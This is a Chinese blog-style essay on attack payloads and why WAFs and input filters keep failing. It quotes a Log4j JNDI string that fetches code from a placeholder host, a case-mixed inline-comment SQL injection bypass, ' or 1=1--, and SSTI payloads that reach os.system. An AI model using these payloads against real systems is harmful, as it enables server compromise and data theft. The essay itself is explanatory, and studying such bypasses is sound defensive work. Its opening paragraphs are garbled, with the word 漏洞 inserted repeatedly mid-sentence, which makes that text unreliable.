漏洞payload

2021年12月，漏洞Log4j2的漏洞JNDI注入漏洞被公开那天，我正坐在工位上啃三明治。漏洞手机弹出一条消息，漏洞同事发来的漏洞：${ jndi:ldap://xxx.xxx.xxx/exp}。就这么一行字符串，漏洞全球几百万台服务器开始发抖。漏洞

漏洞payload这东西，漏洞说白了就是漏洞一段能撬开门锁的字符串。它不长，漏洞有时候短得离谱。漏洞一个分号、漏洞一对花括号、漏洞一个特殊字符的漏洞编码变形，就足够让整个系统把不该执行的漏洞东西老老实实执行了。你花几百万买的WAF、IDS、防火墙，在那几个字节面前跟纸糊的没区别。

我见过最离谱的一个案例。某次渗透测试，目标系统对用户输入做了层层过滤——单引号转义了，双引号转义了，union select被拦了，连sleep这种时间盲注函数都被拉黑。看起来密不透风。结果呢？测试同事用了一个大小写混合加内联注释的payload：/*!50000UnIoN*//*!50000SeLeCt*/。数据库该干嘛干嘛，WAF连日志都没记。

这就是payload的本质——它不是代码，是语言层面的诡计。你写的过滤规则是基于你理解的语法，但解析器理解的语法跟你的规则未必一致。中间那层认知差，就是攻击者的游乐场。

为什么payload总是能绕过防御？

因为防御者在做减法，攻击者在做加法。你堵一个入口，他就找另一个。HTTP参数不行就塞Header，Header不行就塞Cookie，Cookie不行就塞JSON body里嵌套的某个不起眼的字段。我甚至见过把payload藏在文件名的EXIF信息里的——图片上传功能只检查了后缀和MIME类型，谁想到去读图片元数据？

有个细节挺有意思。很多开发者在写参数校验时，脑子里想的是“正常用户会输入什么”。但payload的作者想的是“解析器会怎么处理我输入的东西”。这两个思维模式完全不同。前者是社会学，后者是语言学。

举个具体的。PHP的preg_replace函数带/e修饰符那个年代，你输入phpinfo()它不执行，但你输入phpinfo()经过某些编码转换后它就可能执行。为什么？因为正则引擎先解码再匹配，而你的过滤逻辑在解码之前就做完了。顺序错了，满盘皆输。

payload的进化速度比补丁快

2000年代大家玩SQL注入，payload就是' or 1=1--。后来有了预编译，注入难了。但payload没死，它换了个地方——反序列化。Java的readObject、Python的pickle.loads、PHP的unserialize。每个反序列化入口都是一个payload投放点。ysoserial这个工具把Java反序列化payload做成了流水线，点一下鼠标生成一条利用链，比点外卖还方便。

再后来是模板注入。SSTI这东西，你输入{ { 7*7}}，页面回显49，那基本就确认了。然后payload升级成{ { ''.__class__.__mro__[1].__subclasses__()}}，一路爬到os.system，服务器就归你了。整个过程像在玩解谜游戏，每一步都有反馈，每一步都在试探边界。

我个人的判断是，payload永远不会消失。因为只要还有解析器，就有解析器和过滤器之间的语义鸿沟。这个鸿沟不是靠堆规则能填平的——你规则写得越复杂，解析器行为就越难预测，反而可能制造出新的绕过路径。这是个悖论。

所以每次看到有人宣称“我们的WAF能拦截99%的攻击payload”，我就想问：那1%呢？那1%才是要命的东西。攻击者不需要99%，他只需要那1%。

写payload的人跟写防御规则的人，本质上在玩同一场游戏。只不过一个在找语言的裂缝，一个在试图把裂缝焊死。而语言这东西，裂缝永远比焊点多。

很赞哦!（125）